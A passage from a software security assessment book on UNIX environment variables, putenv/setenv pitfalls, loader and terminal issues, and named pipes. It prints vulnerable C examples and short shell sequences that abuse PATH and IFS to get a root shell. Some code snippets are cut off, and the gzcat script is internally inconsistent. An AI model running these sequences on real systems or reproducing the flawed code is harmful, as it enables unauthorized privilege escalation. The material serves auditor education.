If setenv() needs to add a new environment variable to the array pointed to by 

environ, it can run into one of two situations. If the original environ set up by the 

kernel is still in use, setenv() calls malloc() to get a new location to store the array of 

environment variables. On the other hand, if environ has already been allocated on 

the process heap, setenv() uses realloc() to resize it. setenv() usually allocates 

memory off the heap to store the environment variable string, unless there's room to 

write over an old value. 

On the surface, the putenv() function seems similar to setenv(): 

int putenv(const char *str); 

 

However, there's an important difference between the two. putenv() is used for 

storing an environment variable in the environment, but it expects the user to provide 

a full environment string in str in the form NAME=. putenv() replaces any existing 

environment variable by that name. On many systems, putenv() actually places the 

user-supplied string in str directly in the environment array. It doesn't allocate a copy 

of the string as setenv() does, so if you give it a pointer to a string you modify later, 

you're tampering with the program's environment. Under BSD systems, however, 

putenv() does allocate a copy of the string; it's implemented as a wrapper around 

setenv(). 

Note 
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Linux used to allocate a copy of the environment string in the past, but changed this 

behavior in recent glibc versions. The man page on a Linux system for putenv() 

explicitly notes this behavior change in the Notes section: 

The putenv() function is not required to be reentrant, and the one in libc4, libc5 and 

glibc2.0 is not, but the glibc2.1 version is. 

Description for libc4, libc5, glibc: If the argument string is of the form name, and does 

not contain an = character, then the variable name is removed from the environment. 

If putenv() has to allocate a new array environ, and the previous array was also 

allocated by putenv(), then it will be freed. In no case will the old storage associated 

to the environment variable itself be freed. 

The libc4 and libc5 and glibc 2.1.2 versions conform to SUSv2: the pointer string 

given to putenv() is used. In particular, this string becomes part of the environment; 

changing it later will change the environment. (Thus, it is an error is to call putenv() 

with an automatic variable as the argument, then return from the calling function 

while string is still part of the environment.) However, glibc 2.0-2.1.1 differs: a copy 

of the string is used. On the one hand this causes a memory leak, and on the other 

hand it violates SUSv2. This has been fixed in glibc2.1.2. 

The BSD4.4 version, like glibc 2.0, uses a copy. 

 

The unsetenv() function is used to remove an environment variable from the 

environment array: 

void unsetenv(const char *name); 

 

It searches through the array for any environment variables with the name name. For 

each one it finds, it removes it from the array by shifting all remaining pointers up one 

slot. 

The clearenv() function is used to clear the process environment completely and get 

rid of all environment variables: 

int clearenv(void); 

 

 

Binary Data 

One interesting feature of the environment is that it can be used to place arbitrary 

data at the top of the stack of a program you intend to run. While this is more of an 

interesting topic in the context of writing exploits, it's worth covering here. The kernel 
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reads the environment strings you pass execve() in order and places them adjacent to 

each other at the top of the new process's stack. It works out so that you can supply 

mostly arbitrary binary data. Say you have an array like this: 

env[0]="abcd"; 

env[1]="test"; 

env[2]=""; 

env[3]="hi"; 

env[4]=""; 

env[5]= 

 

In memory, you would expect the kernel to create the following sequence of bytes: 

abcd\0test\0\0hi\0\0 

 

The use of an empty string ("") causes a single NUL byte to be written to the 

environment. Because environment strings need to be preserved across a call to 

execve(), the strings need to be manually copied into the new process's address 

space before the new program can be run. This is logical; because execve() unmaps 

all memory of the old process, which includes environment strings. If you know where 

the stack starts for the new process (usually a known location, except when memory 

randomization mechanisms are used) and what environment variables exist, you 

know exactly where these environment strings reside in memory in the newly running 

process. The environment maintenance routines don't impose any limitations on the 

nature of data that can exist in the environment, so you're free to add binary data 

containing machine code designed to spawn a shell or another nefarious task. 

Confusing putenv() and setenv() 

Because of the slight semantic differences between putenv() and setenv(), these 

functions could possibly be used in the wrong context. To review, the putenv() 

function doesn't actually make a copy of the string you're setting in the environment 

in many systems. Instead, it just takes the pointer you pass and slots it directly into 

the environment array. This behavior is definitely a problem if you can modify data 

that is being pointed to later on in the program, or if the pointer is discarded, as 

shown in the following example: 

int set_editor(char *editor) 

{ 

    char edstring[1024]; 

 

    snprintf(edstring, sizeof(edstring), "EDITOR=%s", editor); 
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    return putenv(edstring); 

} 

 

This function seems to be doing the right thing, but there's a problem: The edstring 

variable is directly imported into the environment array (providing that it is not being 

run on BSD or older Linux versions). In this example, a local stack variable is inserted 

in the environment. Since stack variables are automatically cleaned up when the 

function returns, the pointer in the environment then points to undefined stack data! 

Through careful manipulation of the program, attackers might be able control data 

placed on the stack where edstring used to be and hence introduce arbitrary 

variables into the environment. 

A bug of this nature might also surface when applications are designed to work on a 

number of platforms. Specifically, if Solaris is one of the target platforms, developers 

are required to use putenv() because Solaris doesn't implement setenv(). Here's a 

slightly modified example showing what this code might look like: 

int set_editor(char *editor) 

{ 

#ifdef _SOLARIS 

    char edstring[1024]; 

 

    snprintf(edstring, sizeof(edstring), "EDITOR=%s", editor); 

 

    return putenv(edstring); 

#else 

    return setenv("EDITOR", editor, 1); 

#endif                        /* _SOLARIS */ 

} 

 

This code seems as though it should be functionally equivalent regardless of the 

target platform. But, as you already know, the call to putenv() is unsafe in this 

instance whereas setenv() is not. 

Another possible vulnerability is one in which the argument passed to putenv() 

contains an environment value rather than the name followed by the value. Although 

this type of error might seem unlikely, it has happened in the past. Listing 10-3 is 

from the Solaris telnetd code. 

Listing 10-3. Misuse of putenv() in Solaris Telnetd 

char    binshellvar[] = "SHELL=/bin/sh"; 

 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 614 

if (curshell = getenv("SHELL")) { 

    oldshell = strdup(curshell); 

    (void) putenv(binshellvar); 

} else 

    oldshell = (char *)NULL; 

 

... 

 

if (oldshell) 

    (void) putenv(oldshell); 

 

The SHELL variable is retrieved from the environment and then later reinserted in the 

environment with putenv() without prepending SHELL=. If users can supply the SHELL 

variable, they are able make the value of that variable an arbitrary environment 

name-and-value pair (such as LD_PRELOAD=) and thus introduce potentially dangerous 

environment values into the program that might lead to further compromise. 

Note 

Upon further examination, it turns out this bug isn't exploitable, because even though 

environment variables have been read from the user during option negotiation, they 

haven't been entered in the environment at this point in execution. However, it's 

worth showing the code in Listing 10-3 because the use of putenv() is incorrect. 

 

 

Extraneous Delimiters 

You know that standard library functions expect to see environment variables with 

the NAME= format. However, consider the case where you have a variable formatted 

like this: 

NAME= 

 

Variations in how environment variables are formatted can be important, depending 

on how the algorithms responsible for fetching and storing values are implemented. 

Bugs of this nature have surfaced in the past in how the libc functions 

setenv()/unsetenv() work. The following is a quote from a post made by a security 

researcher named David Wagner (the post can be read in full at 

http://archives.neohapsis.com/archives/linux/lsap/2000-q3/0303.html): 

ObHistoricalNote: By the way, does anyone remember the bug in telnetd accepting 

environment variables? There was a fascinating bug explained there: setenv 

http://archives.neohapsis.com/archives/linux/lsap/2000-q3/0303.html
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(name,val) and unsetenv(name) do not behave as expected when 'name' contains an 

'='setenv ("x=y","z") defines the environment variable called "x"; unsetenv("x=y") 

deletes the variable called "x=y". Subtle, eh? Perhaps it would be nice if setenv() 

refused to set a variable with '=' 

As a result of these problems, current setenv() and unsetenv() implementations are 

selective about allowing names with delimiters (=) in them. That said, it's usually a 

good idea to err on the side of caution when making assumptions about library 

support of production systems. 

Extending on this idea, if an application decides to manually edit the environment 

without the aid of library APIs, comparing how variables are found and how they are 

set is a good idea. These functions should be complementary, and if they're not, the 

opportunity to insert variables that should have been weeded out might be possible. 

After all, libcs for a number of UNIX variants made these mistakes in the past, and so 

it's likely that developers writing new code will fall into the same traps. The same 

possibility exists for simulated environments (such as those generated by scripting 

languages). If in principle they're attempting to achieve the same effect with a 

synthesized environment structure, they are liable to make the same sort of mistakes. 

For example, take a look at these two functions: 

struct env_ent { 

    char *name, 

    char *value; 

    struct env_ent *next; 

}; 

 

int process_register_variable(struct env_ent *env, 

char *valuepair) 

{ 

    char *val; 

    int i, name_len; 

    struct env_ent *env0 = env; 

 

    val = strchr(valuepair, '=' 

 

Do you see the problem? The way that variables are located when determining 

whether to overwrite a value already in the environment differs from the way they are 

located when just fetching a value. Specifically, the use of strncmp() in 

process_register_variable() is a little faulty because it returns 0 if a length of 0 is 

passed to it. If the string = is passed in, the function replaces the first entry in the 

environment with the value BOB! 
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Another important problem to focus on is code that makes the assumption about 

input not containing extraneous delimiters when using putenv(). Consider the 

following example: 

int set_variable(char *name) 

{ 

    char *newenv; 

 

    intlength = strlen("APP_") + strlen("=new") + strlen(name) + 1; 

 

    newenv = (char *)malloc(length); 

 

    snprintf(newenv, length, "APP_%s=new", name); 

 

    return putenv(newenv); 

} 

 

The set_variable() function makes the assumption that the name variable doesn't 

contain a delimiter. However, if it does, the user is free to select an arbitrary 

environment value for the variable, which obviously isn't what the code intended. 

Duplicate Environment Variables 

Another potential pitfall in programs that interact with environment variables is 

having more than one variable with the same name defined in the environment. This 

error was more of a problem in the past because many libc implementations 

neglected to remove multiple instances of a variable (because of faulty unsetenv() 

implementations). Having said that, it's still an issue occasionally, so keep it in mind 

when you're auditing environment sanitization code for two reasons: 

 Although most modern UNIX implementations now have environment APIs 

that are quite thorough in managing variables, you can't assume that the 

deployment environment of an application will provide a safe libc 

implementation. Depending on the application and its intended purpose, it 

might be destined for installation on older systems that are vulnerable to some 

of the tricks described previously. 

 Every now and then a program might choose to manually manipulate the 

environment instead of using the libc functions. In these cases, the program 

could make the same mistakes that were made in older implementations of 

libc. 

If the function terminates when it finds the requested variable in question, it's likely 

vulnerable to attackers sneaking values through by setting multiple instances of the 

same value. This problem existed in the loadmodule program in SunOS 4.1.x. The 
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environment was manually cleaned out before a call to system() to stop attackers 

from setting the IFS variable (discussed later in "Other Environment Variables") and, 

therefore, being able to run arbitrary commands with root privileges. Unfortunately, 

the code neglected to correctly deal with multiple instances of the same variable 

being set, so the call to system() was still vulnerable to exploitation. This bug is 

documented at www.osvdb.org/displayvuln.php?osvdb_id=. 

To cite a more recent example, the accomplished researcher Solar Designer noted a 

problem in the Linux loader supplied with older versions of glibc. The loader checks for 

the existence of environment variables prefixed with LD_ and uses them to determine 

behavioral characteristics of how the loader functions. These variables allow loading 

additional or alternate libraries into the process's address space. Naturally, this 

behavior isn't desirable for setuid applications, so these variables were filtered out of 

the environment when loading such a program. However, a bug in the loaders 

unsetenv() function caused it to neglect filtering out duplicate environment variables 

correctly, as shown in the following code: 

static void 

_dl_unsetenv(const char *var, char **env) 

{ 

        char *ep; 

 

        while ((ep = *env)) { 

                const char *vp = var; 

 

                 while (*vp && *vp == *ep) { 

                         vp++; 

                         ep++; 

                 } 

                 if (*vp == '\0' && *ep++ == '='env++; 

        } 

} 

 

When a variable is found that needs to be stripped, this function moves all other 

environment variables after it back one place in the environment array. However, 

then it increments the environment variable pointer (env), so if two entries with the 

same name are in the environment right next to each other, the program misses the 

second instance of the variable! 

Note 

During the process of researching loader behavior for this book, the authors noticed 

that as of this writing, this bug is also present in the ELF loader shipped with the 

OpenBSD (3.6) version. 

http://www.osvdb.org/displayvuln.php?osvdb_id=5899
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So even when code does attempt to deal with multiple instances of the same variable, 

a program might accidentally expose itself to potential security risks if it doesn't 

analyze the environment correctly. 

Common Environment Variables 

Now that you're familiar with the details of how a typical UNIX environment is 

managed, you can begin to examine some common variables used by applications. 

The variables described in the following sections are just a few of the environment 

variables you'll encounter regularly in applications you audit, so don't assume that 

variables not listed here are innocuous. 

Shell Variables 

A number of variables can modify how the typical UNIX shell behaves. Many of these 

values are always present because they're initialized with default values if a shell is 

started without them. You have already seen that system shells can play a big part in 

how applications operate when indirect program invocation is used or privileged shell 

scripts are running. Many other programs use a number of these variables as well. 

Note that in contemporary UNIX variants, many of these variables are considered 

potentially dangerous and are filtered out when a setuid process runs. Still, this is by 

no means true of all systems. Also, keep in mind that those applications you interact 

with remotely and supply environment variables to are not automatically subject to 

the same environment restrictions if the program isn't setuid. 

PATH 

The PATH environment variable is intended to contain a list of directories separated by 

colons (:). When the shell needs to run a program that's specified without directory 

path components, it searches through each directory in the PATH variable in the order 

that they appear. The current directory is checked only if it's specified in the PATH 

variable. 

Programs that run with privilege and make use of subshells can run into trouble if they 

don't use explicit paths for command names. For example, take a look at the following 

code: 

snprintf(buf, sizeof(buf), 

         "/opt/ttt/logcat%s | gzcat | /opt/ttt/parse > 

/opt/ttt/results", 

          logfile); 

system(buf); 
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This program makes use of the system() function to run the /opt/ttt/logcat program, 

pipe its output to the gzcat program to decompress the log, pipe the decompressed 

log to the /opt/ttt/parse program, and then redirect the parsing results to the 

/opt/ttt/results file. Note that gzcat is called without specifying a directory path, so 

the shell opened with the system() function searches through the PATH environment 

variable to find the gzcat binary. If this code was part of a setuid root application, 

attackers could do something like this: 

$ cd /tmp 

$ echo '#!/bin/sh' > gzcat 

$ echo 'cp /bin/sh /tmp/sh' >> gzcat 

$ echo 'chown root /tmp/sh' >> gzcat 

$ echo 'chmod 4755 /bin/sh' >> gzcat 

$ chmod 755 ./gzcat 

$ export PATH=.:/usr/bin:/usr/local/bin 

$ /opt/ttt/start_process 

$ ./sh 

# 

 

In this code, attackers change the PATH environment variable so that the current 

directory is the first directory that's searched. This way, the shell script gzcat in the 

current directory, /tmp/, runs instead of the intended program, /usr/bin/gzcat. 

Attackers made a simple shell script in the place of gzcat that allowed them to obtain 

root access by creating a setuid root copy of /bin/sh. 

HOME 

The HOME environment variable indicates where the user's home directory is placed on 

the file system. Naturally, users can set this variable to any directory they want, so 

it's important for privileged programs to actually look up the user's home directory in 

the system password database. If a privileged program tries to use a subshell to 

interact with a file that's specified relative to a user's home directory, such as ~/file, 

most shells use the value of the HOME environment variable. 

IFS 

IFS (which stands for "internal field separator") is an environment variable that tells 

the shell which characters represent whitespace. Normally, it's set to break input on 

space, tabs, and new lines. On some shells, IFS can be set so that it interprets other 

characters as whitespace but interprets straightforward commands in odd ways. 

Consider the following program excerpt: 

system("/bin/ls"); 
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This simple program excerpt makes use of the system() function to run the /bin/ls 

program. If an attacker sets the IFS variable to / and the shell honors it, the meaning 

of this command would be changed entirely. With a normal IFS setting, the string 

/bin/ls is interpreted as one token, /bin/ls. If the attacker set IFS to /, the shell 

interprets it as two tokens: bin and ls. The shell would first try to run the bin program 

and pass it an argument of ls. If a program named bin happened to be in the current 

PATH, the shell would start that program. An attacker could exploit this situation as 

shown in the following example: 

$ cd /tmp 

$ echo 'sh -i' > bin 

$ chmod 755 ./bin 

$ export PATH=.:/usr/bin:/usr/local/bin 

$ export IFS="/" 

$ run_vuln_program 

$ ./sh 

# 

 

The attacker changed the IFS variable so that / would be interpreted as whitespace, 

and the system() function would try to run the program named bin. The attacker 

created a suitable program named bin that opened a shell as root, and then set PATH 

so that his bin program was first on the list. IFS attacks don't really work against 

modern shells, but ENV attacks, described in the next section, are a bit more plausible. 

ENV 

When a noninteractive shell starts, it often looks to a certain environment variable for 

a filename to run as a startup script. This environment variable is typically expanded, 

so one can use a malicious value, as in this example: 

ENV= 

 

Any subshells that are opened actually run the /tmp/evil file. BASH_ENV is a similar 

variable honored by bash. Old versions of sliplogin were vulnerable to this issue, as 

shown in the following code: 

    (void)sprintf(logincmd, "%s %d %ld %s", loginfile, 

 

    unit, speed, loginargs); 

 

     ... 

 

    /* 
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     * Run login and logout scripts as root (real and 

     * effective); current route(8) is setuid root and 

     * checks the real uid to see whether changes are 

     * allowed (or just "route get"). 

     */ 

    (void) setuid(0); 

    if (s = system(logincmd)) { 

        syslog(LOG_ERR, "%s login failed: exit status %d from %s", 

               loginname, s, loginfile); 

        exit(6); 

    } 

 

This error could be exploited by logging in to a slip-enabled account and having telnet 

set an environment variable of ENV that the shell opened by system() would expand 

and run. 

SHELL 

Some programs use the SHELL environment variable to determine a user's preferred 

command shell. Naturally, if privileged programs honor this variable, trouble can 

ensue. 

EDITOR 

Some programs use the EDITOR environment variable to determine users' preferred 

editors. Obviously, this variable is also dangerous for a privileged program to trust. 

Sebastian Krahmer noted a vulnerability in the setuid program cron on a number of 

UNIX distributions that resulted in the program pointed to in the EDITOR variable 

running with elevated privileges (announced by SuSE at 

http://lists.suse.com/archive/suse-security-announce/2001-May/0001.html). 

Runtime Linking and Loading Variables 

Most current UNIX OSs use make extensive use of shared libraries, so that commonly 

required functionality doesn't need to be continually re-implemented by each 

application. The creation of an executable program file involves the use of a special 

program called a linker, which tries to find program-required symbols in a list of 

libraries. If the program is being statically compiled, required library code is simply 

copied from the library into the executable program file, thus the program will be able 

to run without having to dynamically load that library. Conversely, dynamically linked 

executables are created by compiling a list of required modules for the various 

symbols that the application needs, and storing this list within the executable file. 

When the OS runs a dynamically linked program, startup framework code finds the 

http://lists.suse.com/archive/suse-security-announce/2001-May/0001.html
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shared libraries in this list and maps them into the process's memory when they are 

needed. 

LD_PRELOAD 

LD_PRELOAD provides a list of libraries that the runtime link editor loads before it loads 

everything else. This variable gives you an easy way to insert your own code into a 

process of your choosing. In general, UNIX doesn't honor LD_PRELOAD when running a 

setuid or setgid program, so this variable isn't likely to be a direct vulnerability. 

However, if users can influence the environment of a program running with privilege 

(but isn't setuid), LD_PRELOAD and similar variables can come into play. 

For example, the telnet daemon allows a network peer to define several environment 

variables. These environment variables are typically set before the login program 

runs, and if the telnet daemon doesn't strip out LD_PRELOAD properly, it can lead to an 

exploitable condition. Several years ago, many telnet daemons honored the 

LD_PRELOAD environment variable, thus creating an opportunity for attackers to load 

arbitrary libraries and run code of their choosing. 

LIBRARY PATH 

LD_LIBRARY_PATH provides a list of directories containing shared libraries. The runtime 

link editor searches through this list first when looking for shared libraries. This 

variable is ignored for setuid/setgid binaries. Again, when users might have influence 

over the environment of a privileged application, sanitizing linking/loading-related 

environment variables correctly is important. 

Object Linking Vulnerabilities 

On a related note to environment variables for the linker, a few isolated 

cases of vulnerabilities have been found in executables in the way they're 

compiled. Specifically, the vulnerabilities have to do with the way library files 

required by a program are located on the file system. The dlopen() man page 

specifies this resolution process: 

 (ELF only) If the executable file for the calling program contains a 

DT_RPATH tag and doesn't contain a DT_RUNPATH tag, the directories 

listed in DT_RPATH are searched. 

 If the environment variable LD_LIBRARY_PATH is defined as containing 

a colon-separated list of directories, these directories are searched. 

(As a security measure, this variable is ignored for setuid and setgid 

programs). 

 (ELF only) If the executable file for the calling program contains a 

DT_RUNPATH tag, the directories listed in that tag are searched. 
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 The cache file /etc/ld.so.cache maintained by ldconfig(8) is checked 

to see whether it contains an entry for the filename. 

 The /lib and /usr/lib directories are searched (in that order). 

More steps are involved in this process than you might expect, and a number 

of vulnerabilities have surfaced in the past because of this resolution 

procedure (in addition to the LD_LIBRARY_PATH and LD_PRELOAD attacks 

already mentioned). 

In a few cases, the DT_RPATH or DT_RUNPATH tags embedded in ELF executables 

have listed nonsecure directories that are searched for libraries the program 

depends on. These tags are usually added to an executable with the -R or 

rpath linker options. With relative paths or paths that are writeable, it's 

possible for an attacker to have a rogue library loaded into the process and 

run arbitrary code. One example in the CVSup package is documented at 

www.securiteam.com/securitynews/5LP020UC0Q.html. 

Additionally, the AIX linker was found to exhibit odd behavior compared with 

other standard linkers; any program compiled with the -L flag (used to locate 

libraries at compile time) added those paths to the DT_RPATH tag in the 

executable. Because the -L flag is frequently used to set relative paths, a 

number of programs were vulnerable to privilege escalation caused by 

inappropriate search paths. This bug is documented at 

www.securiteam.com/unixfocus/5EP0I000JC.html. 

There has also been at least one attack against the resolution of paths via the 

/etc/ld.so.cache file. Previously, glibc allowed passing the LD_PRELOAD 

variable to setuid and setgid applications as long as the names didn't contain 

a / character and the library to be preloaded was setuid. This second check 

was neglected if the library to be preloaded existed in the /etc/ld.so.cache 

file. This in turn provided attackers with the opportunity to create or modify 

local files with elevated privileges (as pointed out at 

www.securityfocus.com/archive/1/158736/2005-02-06/2005-02-12/2). 

 

 

Other Environment Variables 

The environment variables you have looked at so far are widely used, but they aren't 

the only ones that have caused problems in the pastfar from it! Whenever programs 

run with privileges different from the user interacting with it on a local system or run 

on a remote system in which users can influence the environment, there's the danger 

of the program exposing itself to risk when it interprets values from the environment. 

The values you have seen are standard shell environment variables, but less 

commonly used or application-specific variables have also been manipulated to 

http://www.securiteam.com/securitynews/5LP020UC0Q.html
http://www.securiteam.com/unixfocus/5EP0I000JC.html
http://www.securityfocus.com/archive/1/158736/2005-02-06/2005-02-12/2
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compromise an application. This vulnerability is possible especially when libraries are 

performing actions based on the environment; application developers might not be 

aware those values are being read and acted on because it's all happening behind the 

scenes. Indeed, some of the most prevalent environment-related vulnerabilities in 

UNIX have been a result of libraries using environment variables in an unsafe manner. 

Take the UNIX locale vulnerability Andreas Hasenak discovered, for example 

(www1.corest.com/common/showdoc.php?idx=127&idxseccion=10). Many UNIX 

OSs were vulnerable to local (and sometimes remote) compromise because the 

formatting of output was dictated according to language files specified by certain 

environment variables (NLSPATH, LC_MESSAGES, and LANG in this case, although it varies 

slightly among operating systems). 

Another notable example was abusing TERM and TERMCAP environment variables via 

telnetd in a number of UNIX systems (BSD and Linux). Theo De Raadt discovered 

that these variables, if present, specified a file that ws parsed to determine certain 

terminal capabilities (more details at 

www.insecure.org/sploits/bsd.tgetent.overflow.html). Attackers who were able to 

write an arbitrary file to a target host's file system could upload erroneous TERMCAP 

files and then connect via telnetd and have them parsed, thus triggering a buffer 

overflow in the tgetent() function. 

Performing a thorough application audit of a UNIX program requires identifying 

variables that an application is using explicitly and having a reasonable idea of the 

environment variables standard libraries use behind the scenes. 

Process Groups, Sessions, and Terminals 

Each process belongs to a process group, which is a related set of processes. One 

process in the group is the process group leader, and the process group's numeric ID 

is the same as its group leader's process ID. Programs that are descendents of the 

group leader remain in the process group, unless one of them creates their own 

process group with setpgid() or setsid(). 

A session is a collection of process groups, usually tied to a terminal device. The 

session leader has a connection with this device, known as the controlling terminal. 

Each session with a terminal has a single foreground process group, and the rest of 

the process groups are background process groups. This organization of processes 

around the terminal allows for the natural interface that UNIX users are accustomed 

to. The terminal device takes certain input from the user, and then sends signals to all 

processes in the foreground process group. 

Terminal Attacks 

Terminal emulation software interprets a number of escape sequences to help format 

data on the screen and perform other tasks, such as taking screen captures, altering 

http://www.insecure.org/sploits/bsd.tgetent.overflow.html
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terminal parameters, and even setting background images. This flexibility might 

allow data being displayed via a terminal emulator to perform unintended actions on 

behalf of users viewing the data. HD Moore published an interesting paper (available 

at 

http://archives.neohapsis.com/archives/bugtraq/2003-02/att-0313/01-Termulation

.txt) that details a few attacks on popular terminal emulation software, with 

consequences ranging from simple denial-of-service vulnerabilities to stealing 

privileges from the victim viewing data that contains embedded escape sequences. 

From a code-auditing perspective, you can't audit applications for bugs related to 

program output if the output is viewed by a third party via a terminal emulator 

program. However, you need to be aware that these bugs exist, and sometimes it 

makes sense to recommend that an application sanitize output so that nonprintable 

characters don't appear because of problems such as the ones described in HD 

Moore's paper. He points out the syslog daemon as an example and describes the 

behavior of other popular implementations. 

Session Logins 

Occasionally, you encounter code running in a privileged context that determines the 

user interacting with it by using the getlogin() function. This function exists in 

BSD-based UNIX implementations, and it returns the current user associated with the 

session. This value is set at some earlier point with setlogin(). Applications that use 

these functions have to be careful, particularly with setlogin() because it affects all 

processes in the process group, not just the current process. To use setlogin() safely, 

processes need to make themselves the leader of a new session; otherwise, they 

inadvertently set the login name for the entire process group. (Only processes 

running with superuser privileges can use the setlogin() function.) As the OpenBSD 

man page points out, this mistake is easy to make because this behavior is the 

opposite of traditional models of UNIX inheritance of attributes. A process becomes a 

process group leader by using setsid() or setpgrp(); however, only setsid() is 

adequate for use before a call to setlogin() because setpgrp() doesn't put the 

process as a new session, just a new process group. The following code shows an 

incorrect use of setlogin(): 

int initialize_user(char *user) 

{ 

    if(setpgid(0, 0) < 0) 

        return 1; 

    return setlogin(user); 

} 

 

Because this code incorrectly uses setpgid() instead of setsid(), the setlogin() call 

alters the login name of every process in the session to user. 

http://archives.neohapsis.com/archives/bugtraq/2003-02/att-0313/01-Termulation.txt
http://archives.neohapsis.com/archives/bugtraq/2003-02/att-0313/01-Termulation.txt
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For an incorrect use of setlogin() to be exploited, a program running in the same 

session must use the getlogin() function in an insecure manner. Because setlogin() 

can be used inappropriately (as in the preceding example), the getlogin() function 

could return a username that's not the user whose privileges the process is running 

with. Any application that assumes the username is correct is potentially making a big 

mistake. Here's an example of a dangerous use of getlogin(): 

int exec_editor(char *filename) 

{ 

    char *editor; 

    char *username; 

    struct passwd *pw; 

 

    username = getlogin(); 

 

    if((editor = getenv("EDITOR")) == NULL) 

        return 1; 

    if((pw = getpwnam(username)) == NULL) 

        return 1; 

 

    setuid(pw->pw_uid); 

 

    execl(editor, editor, filename, NULL); 

} 

 

This (contrived) example sets the user ID inappropriately if the value returned from 

getlogin() is incorrect. If it returns an inappropriate username, this program sets the 

user ID to the wrong person! 

When auditing code that uses setlogin() or getlogin(), you should make the 

assumption that any insecure use of setlogin() can result in compromise. Even if 

getlogin() isn't used in the application being audited, it's used plenty of other places 

on a default system. Similarly, an application shouldn't be putting too much faith in 

the value returned by getlogin(). It's a good idea to approach the audit under the 

assumption that you can abuse some other application on the system to incorrectly 

setlogin(). Any time you encounter getlogin() used in place of more secure 

alternatives (the getpw* functions based on the UID returned from the getuid() 

function), carefully trace the username returned under the assumption you can 

specify an arbitrary value for that username. 

 

7.6.5 Interprocess Communication 

31051536.html
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UNIX systems provide several mechanisms for processes to communicate with each 

other to share information or synchronize their activities. These mechanisms are 

typically used for transactions across multiple processes, sharing data elements, and 

coordinating resource sharing. Naturally, the power that IPC primitives afford also 

presents a potential for vulnerability in applications that use these mechanisms 

haphazardly. 

Pipes 

Pipes are a simple mechanism for IPC in UNIX. A pipe is a unidirectional pair of file 

descriptors; one descriptor is used for writing information, and the other is used for 

reading information. A process can write data to the write side of the pipe, and 

another process can read that data from the read side of the pipe. The pipe 

descriptors are created at the same time by the pipe() system call, so they are useful 

for setting up IPC in advance, typically by handing one side of the pipe to a child 

process via a fork(). 

Not surprisingly, pipes are the underlying mechanism shell programs use when you 

link programs by using pipe characters. Say you run a command like this: 

echo hi | more 

 

The shell creates a pipe and gives the write end to a child process that uses it as its 

standard output descriptor (which is file descriptor 1, if you recall). The read end is 

handed to a different child process that uses it as its standard input. Then one process 

runs echo hi and the other process runs the more program, and communication takes 

place across that pipe. 

You've already looked at a library function based on the use of pipes, popen(). It 

creates a pipe and hands one end of it to the child process running the requested 

program. In this way, it can read from the standard output of the subprogram or write 

to the standard output of the subprogram. 

One interesting feature of a pipe is that writing to a pipe with a closed read end causes 

your program to receive a SIGPIPE, which has a default behavior of terminating the 

process. If the process deals with the SIGPIPE, the write call returns a failure code of 

EPIPE to the program. 

Named Pipes 

Named pipes (also called "FIFOs" because of their first-in, first-out nature) are pipes 

that exist on the file system and can be opened just like normal files. Software can 

use named pipes to set up IPC with a process it isn't related to. Pipes are typically 

created with mkfifo() or mknod() and then opened with open(). Like regular files, 
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named pipes have associated file permissions specified in the creation call, and they 

are modified by the umask. Therefore, an application that creates a FIFO needs to 

ensure that it applies appropriate permissions to the new object. In this context, 

"appropriate" means using a restrictive set of permissions that only allows specific 

applications access to the pipe. 

Pipes have an interesting behavior in how they're opened by a process that might 

prove useful in an attack. If a process opens a pipe for reading, the pipe is blocked 

until another process opens the same pipe for writing. So open() doesn't return until 

a peer process has joined the game. Similarly, opening a pipe for writing causes a 

program to block until another process opens the pipe for reading. Opening a pipe in 

read/write mode (O_RDWR) is undefined behavior, but it usually results in the pipe 

being opened as a reader without blocking occurring. You can open pipes in 

nonblocking mode if you want to avoid the blocking behavior. Programs expecting 

regular files could instead be passed a named pipe that causes the blocking behavior. 

Although this isn't a security problem in-itself, it could slow down the program when 

attempting to perform some other TOCTOU-based attack. In addition to open() 

blocking, attackers can cause the read pipe to block whenever they choose if they are 

the only writer attached to the other end of the pipe, thus providing additional control 

over process execution. In fact, Michael Zalewski (a researcher that we have noted 

previously in this chapter) demonstrated this attack when exploiting a race condition 

in the GNU C Compiler (GCC). It's more of an exploitation technique but is worth 

mentioning because race conditions that might have seemed infeasible become more 

readily exploitable (the technique is detailed at 

http://seclists.org/bugtraq/1998/Feb/0077.html). 

There are also quirks in writing to named pipes. If you try to write to a named pipe 

with no attached reader, you the get same result as with a normal pipe: a SIGPIPE 

signal and the EPIPE error from the write system call. 

Another potential problem when dealing with pipes is nonsecure use of mkfifo() and 

mknod(). Unlike open(), these two functions don't return a file descriptor upon 

successful creation of a resource; instead, they return a value of 0 indicating success. 

Therefore, a program that creates a named pipe must subsequently call open() on the 

created pipe to use it. This situation creates the potential for a race condition; if the 

pipe is deleted and a new file is created in its place between the time mkfifo() is used 

and open() is called, the program might inadvertently open something it didn't intend 

to. Here's an example of vulnerable code: 

int open_pipe(char *pipename) 

{ 

    int rc; 

 

    rc = mkfifo(pipename, S_IRWXU); 

 

http://seclists.org/bugtraq/1998/Feb/0077.html
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    if(rc == -1) 

        return 1; 

 

    return open(pipename, O_WRONLY); 

} 

 

In this case, if the process can be interrupted between mkfifo() and open(), it might 

be possible to delete the created file and create a symlink to a system file or perform 

a similar attack. 

From a code-auditing standpoint, the existence of named pipes introduces three 

potential issues in UNIX-based applications: 

 Named pipes created with insufficient privileges might result in unauthorized 

clients performing some sort of data exchange, potentially leading to 

compromise via unauthorized (or forged) data messages. 

 Applications that are intended to deal with regular files might unwittingly find 

themselves interacting with named pipes. This allows attackers to cause 

applications to stall in unlikely situations or cause error conditions in 

unexpected places. When auditing an application that deals with files, if it fails 

to determine the file type, consider the implications of triggering errors during 

file accesses and blocking the application at those junctures. 

 The use of mknod() and mkfifo() might introduce a race condition between the 

time the pipe is created and the time it's opened. 

System V IPC 

System V IPC mechanisms are primitives that allow unrelated processes to 

communicate with each other or achieve some level of synchronization. Three IPC 

mechanisms in System V IPC are message queues, semaphores, and shared memory. 

Message queues are a simple stateless messaging system that allows processes to 

send each other unspecified data. The kernel keeps messages until the message 

queue is destroyed or a process receives the messages. Unlike file system access, 

message queue permissions are checked for each operation instead of just when the 

process is opened. The functions for using message queues are msget(), msgctl(), 

msgrcv(), and msgsend(). 

Semaphores are a synchronization mechanism that processes can use to control the 

sequence of activities that occur between them. The semaphore primitives provide 

the capability to manipulate semaphore sets, which are a series of semaphores that 

can be operated on independently. The functions for manipulating semaphores are 

semget(), semop(), and semctl(). 
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Finally, shared memory segments are a mechanism whereby a memory segment 

can be mapped to more than one process simultaneously. By reading or writing to the 

memory in this segment, processed can exchange information or maintain state and 

